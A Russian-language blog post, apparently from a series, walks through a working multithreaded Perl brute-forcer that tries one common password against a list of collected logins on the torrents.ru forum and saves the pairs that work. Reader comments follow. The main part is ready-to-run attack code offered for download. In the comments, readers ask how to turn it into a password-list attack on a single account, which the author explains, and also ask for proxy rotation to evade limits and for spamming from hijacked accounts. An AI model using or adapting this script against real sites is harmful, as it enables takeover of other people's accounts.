Теперь напишем брутфорс (исходники одним файлом в конце статьи). Запрос авторизации и какие переменные в него входят были рассмотренны в предыдущей части. Если с помощью сниффера сравнить пакеты сервера при удачной и неудачной авторизации, то можно заметить, что сервер возвращает 302 редирект при удачной авторизации, от этого и будем отталкиваться.
Подключим базовые компоненты
1 2 3 4 5 |
use warnings; use LWP::UserAgent; use threads; use threads::shared; use Fcntl ':flock'; #Данный компонент нужен для блокировки файла, чтобы не возникало конфликтов между потоками |
Объявим переменные
1 2 3 4 5 6 7 |
$threads = 10 ; #Кол-во потоков $pwd = '123456' ; #Пароль на который будут проверяться аккаунты $fname = 'good.txt' ; #Файл куда будут записываться валидные аккаунты $ml = 'base.txt' ; #Список мыл my $i : shared; #Вспомогательная переменная для подсчета % завершенности перебора $| =1; #Очистка буфера вывода |
Запишем собранную ранее базу в массив
1 2 3 4 5 6 |
open (ACS, "<$ml") || die("Could not open login list file!"); my @acc : shared = <ACS> ; chomp(@acc); #Убирает символ перевода строки у всех элементов массива close(ACS); $size = scalar @acc; #Переменная хранящая размер массива с логинами (нужна для вывода статистики) |
Старт потоков
1 2 |
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } |
Функция перебора
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
sub Brut { my $ua = LWP::UserAgent->new; #Создаем компонент браузера $ua->agent("Mozilla/4.0"); #Задаем значение переменной UserAgent для браузера(зачастую необязательно) while(@acc) #Цикл перебора с выходом при опустощении массива с логинами { my $login =''; {lock(@acc); $login = shift @acc;} my $answ = $ua->post('http://torrents.ru/forum/login.php', {'login_username' => $login, 'login_password' => $pwd, login => 'Вход'})->code; #Записываем в переменную $answ код ответа сервера на попытку авторизации if($answ == 302) #Сравнение ответа с нужным нам результатом { print "[+] $login\n"; #Вывод валидного логина на экран open(FILE, ">>$fname") || die("Could not open $fname\n"); #Открытие файла на дозапись flock(FILE, LOCK_EX); #Блокировка файла для данного потока print FILE "$login:$pwd\n"; #Запись валидной пары логин:пароль в файл flock(FILE, LOCK_UN); #Разблокировка файла close(FILE); #Закрытие файла } {lock($i);$i++;} #Инкремент общей переменной для подсчета % перебранных логинов print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r"; #Вывод % перебранных логинов } } |
Функция sprintf задает точность вывода результата ($i/$size)*100, в данном случае точность составляет 2 знака после запятой. Знак переноса \r в комбинации с $| =1; позволяет выводить % постоянно на одной и той же строке, при этом подобранные логины пишутся каждый раз с новой строки.
Исходный код одним файлом: скачать
пиздец, ну и код
Просто надоели вечные темы про аккаунты к различным ресурсам, а в особенности к торрентс.ру
ну так и перепиши код в нормальный, а не то , что тут
Что тебе конкретно не нравится? Или претензии из разряда "там-то можно без скобочек"?
тебе весь код чтоли комментить?
начинай с включения strict и заканчивай на том, что die не используют в потоках
Комменть весь код, начиная объяснением необходимости использования strict и заканчивая обзором, в котором ты приводишь обоснование использования твоего решения
может и писать за тебя?
я тебе указал хек в твоём коде , иди читай книжки и гугли
Представь себе гуглил и не заметил обязательного использования strict
а ну ребятки попиздитесь еще :)
вобщем брут работает, вот и заебись)
а вобще все супер, продолжай в том же духе!
давно искал такие стать, ждем продолжения.
>а ну ребятки попиздитесь еще :)
я его запижжю
Wish I had a site like this one, I will link back I think my readers would enjoy your site.
Зaчетно!
А как сделать брут одного акка на список паролей?
Для торрентс.ру брут уже неактуален, на авторизации стоит капча.
А вообще - поменять в запросе местами переменные и вместо пароля вводить логин, а вместо списка логинов - список паролей.
спс, смог изменить почти без знания перла)))
этот брут не только ведь для торрентс.ру может служить))
Если бы еще был спамер под phpbb от сбрученных пользователей по темам/личкам)))
уже не работает, на трех форумах протестил. Обнови пожалуйста
Еще бы поддержку прокси прикрутить было бы ваще шиииикарно !!:-)))
чтобы через каждые 5 попыток менял бы прокси))))
З.Ы.:а вообще по блогу пробежался,я чет даже под впечатление)))
спасибо, думаю, те часто говорят))
бля нихуя не понял, вломать надо почту, чо -куда это все вписывать -капец, а народ?????
Как связан взлом почты и этот пост?
спасибо